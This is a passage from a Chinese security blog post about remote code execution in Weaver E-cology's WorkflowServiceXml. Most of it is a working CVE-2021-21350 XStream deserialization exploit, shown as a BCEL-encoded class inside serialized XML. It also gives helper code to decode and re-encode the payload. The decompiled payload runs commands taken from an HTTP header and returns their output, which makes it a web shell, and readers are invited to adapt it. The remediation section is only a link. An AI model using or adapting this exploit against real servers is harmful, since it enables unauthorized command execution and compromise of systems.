$de$c3$fb$G$3e$c0$87$y$cf$oN$qA1B$KbioV$f8b$acm$f4$5c$5b$da$L$ac$m$e3$b5$95$fd$Z$f8$I$l$e7$9d$e5$B$z$ca0$P$a4$C5$efc$tOZ$C$a6$8aO$M$7c$8a$cfdu$3fWPq$aa$c7$c0$r$7ca$e02$be4$f0$V$beV$A$b2$a0$M$d4$G$be$c1V$3a$_$60$a4$a0$f5V$3cW$d0r$L$ee$$d$U$ee$i$cb$ba$813S$e0$f0$e2$a29$d6$9e$u$d1$914$Ts$c2$s$da$b1R$e6$$58$ea$7b$b6$I$_$e7$92$c2$MM$fa$ac$WyY$b8$7d$L$eb$95E$b1$f2RZ6K$7exn$m$e6$82$90$L$J$__j$b3H$7d$c9$96$b4$v$bbA$a8R$7c$I$r$K6$df$n$f7$85$b6$o$e1$5d$a8$e4$de26$tKl$dao$d7s$aa$j$f7$ac7$cd$d2$ee$8a$956$9b$93$a5$a2$f6r$zI$935$c9$l$a3$a9$b4$M$f2$ceS$n$99M$L$df$cek5r$dd$t$b8$m$af$L$d8w$dc$e1$fc$cb$db$5c$5dF$E$3d$b6$84$d3$J$fbr$q6$o$9by$r$3d$x$d8R$e60e3$af$9a$95$b7L$S$abL$f4$e1$oF$W$c8$c3$h$ca$Q$87$dct6$a0$9e$b0fH$e8$853$f3$d6$$$d9$a0$fb$d6X$d9$N$e9$d9$c8fD$9fH93$f9$5b$7e$h$ea$$k$b7$ea$a4$95$Z$q$fb$c2$d7$d7$I$P$ee$86$8bb$ba$$$b6$ed$864$l$82$b0$e5$O$f9$96$z$b0$R$9b$f9$82$95$3fvn$d9E9$c6$80$8avT$a3$96$d2$bf$b7$5d$85r$N$V$d1$ca$i$o$c7$af$a1$w$87$ea$a8$9a$83$96$d8$k$ad$a9$fc$Fz$O$b5$D$3b$U$3e$Z9$d4$Nv$e4P$9fCC$b41$87$V$5d$R3$S$c9$njF$um$ea$aa2i$5b$l$5dY0$ea$aa6$ab$cd$aa$82$ddoh$eeRM5$ba$w$87$W$e9$o$da$g$a1$d6$89$ca$a8$99$94$aa$9a$a9uP$60P$b0$3a$Z$aa$9b$5d5$3fc$cd$J$sf$d60$b1$i$d6$5e$c5$ba$e8$fa$i6t$e9$a6j2$40$db$r$d4$cay$e3$VTE$ef$a2$df$x2$e7$i6$fd$c0$TFp$j$7f$f2$D$a0$S$ed$3c$e3$m$9a8$g$94$d6$a3$O$N0$d1$88MX$818$a2$e8$e6$de$3e$ac$c4a$7ea$8c$60$V$a6$d0$823h$c5$Fj$5d$c2j$fc$c8$_$8a$ebXOokq$D$eb$f0$X6$60$h$bd$cd$d3$9f$89$ef$b1$j$3b$Yo$T$beC$H$fdU$f0$7f$Z$9d$d8$c9$c8$dd$ec$fc$f7$e0$5eF$3d$cc7$d4$7d$94U1$82$c7O$a58k$3f$85$d3x$A$PBe$a4$3e$3cD$99$c6x$3b$f10v$a1$86Q$5b$d0$85$dd$fc$g$baA$fbn$3c$c2$Y$c4$K$7b$f0$u$e7$bd$fc$3b$88$dc$c4$ef$a8U$d1$a3b$9f$8a$5e$V$7d$w$f6$87$p$9f$fb$c3$f1$80$8a$83P$b8$baI$fb$ff$a1Z$R$ae$O$dcd$a6$b4$ea$91$c3$a1$IM$P3$60$F$k$fb$X$9f$s$83$aa$ec$J$A$A</string>                    </a>                  </outer-class>                </names>                <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>                  <parent class='sun.misc.Launcher$ExtClassLoader'>                  </parent>                  <package2certs class='hashtable'/>                  <classes defined-in='java.lang.ClassLoader'/>                  <defaultDomain>                    <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>                    <principals/>                    <hasAllPerm>false</hasAllPerm>                    <staticPermissions>false</staticPermissions>                    <key>                    </key>                  </defaultDomain><domains class="java.util.Collections$SynchronizedSet" serialization="custom">        <java.util.Collections_-SynchronizedCollection>          <default>            <c class="set"></c>            <mutex class="java.util.Collections$SynchronizedSet" reference="../../.."/>          </default>        </java.util.Collections_-SynchronizedCollection>      </domains>                  <packages/>                  <nativeLibraries/>                  <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>                  <defaultAssertionStatus>false</defaultAssertionStatus>                  <classes/>                  <ignored__packages>                    <string>java.</string>                    <string>javax.</string>                    <string>sun.</string>                  </ignored__packages>                  <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>                    <__path>                      <paths/>                      <class__path>.</class__path>                    </__path>                    <__loadedClasses/>                  </repository>                  <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>                </processorCL>              </iterator>              <type>KEYS</type>            </e>            <in class='java.io.ByteArrayInputStream'>              <buf></buf>              <pos>0</pos>              <mark>0</mark>              <count>0</count>            </in>          </is>          <consumed>false</consumed>        </dataSource>        <transferFlavors/>      </dataHandler>      <dataLen>0</dataLen>    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>  </java.util.PriorityQueue></java.util.PriorityQueue>

以上便是CVE_2021_21350的POC。

追踪string中的BCEL可获得核心poc明文,注意需要去掉前面的$$BCEL$$

解码代码:

import com.sun.org.apache.bcel.internal.classfile.Utility;
//import sun.misc.BASE64Decoder;
import java.io.File;
import java.io.FileOutputStream;
//import java.nio.file.Files;
//import java.nio.file.Path;
//import java.nio.file.Paths;
public class BCEL {
public static void main(String[] args) throws Exception{
byte[] data = Utility.decode("",true);//BCEL需解密原文
File file = new File("echo.class");
FileOutputStream fos = new FileOutputStream(file);
fos.write(data);
fos.close();
}
}

运行后会生成java class文件,在IDE中双击class文件即可自动反编译看到代码。

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
import java.io.Writer;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Scanner;
public class fuckyou { public fuckyou() { try { Runtime.getRuntime().exec("calc"); Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink"); Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest"); Object currentRequest = getCurrentRequestM.invoke((Object)null); Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade"); f.setAccessible(true); Object response = f.get(currentRequest); Method getWriterM = response.getClass().getMethod("getWriter"); Writer w = (Writer)getWriterM.invoke(response); w.write("powered by potatso "); Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class); String cmd = (String)getHeaderM.invoke(currentRequest, "potats0"); Scanner s = (new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())).useDelimiter("\A"); w.write(s.hasNext() ? s.next() : ""); } catch (Exception var11) { var11.printStackTrace(); }
}}

可以根据自己的需要,修改代码后,重新生成BCEL即可

import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.IOException;import java.io.InputStream;
/** * @author threedr3am */
public class Evil { public Evil() throws IOException { Runtime.getRuntime().exec("open -a calculator"); }
public static void main(String[] args) throws IOException { InputStream inputStream = Evil.class.getResourceAsStream("Evil.class"); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes); String code = Utility.encode(bytes, true); String bcel = "$$BCEL$$" + code; System.out.println(bcel); }}

0x07 漏洞修复



参考官方修复方案:

地址:https://www.weaver.com.cn/cs/securityDownload.html?src=cn




本文始发于微信公众号(锋刃科技):E-cology WorkflowServiceXml远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月2日08:49:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   E-cology WorkflowServiceXml远程代码执行https://cn-sec.com/archives/376838.html

发表评论

匿名网友 填写信息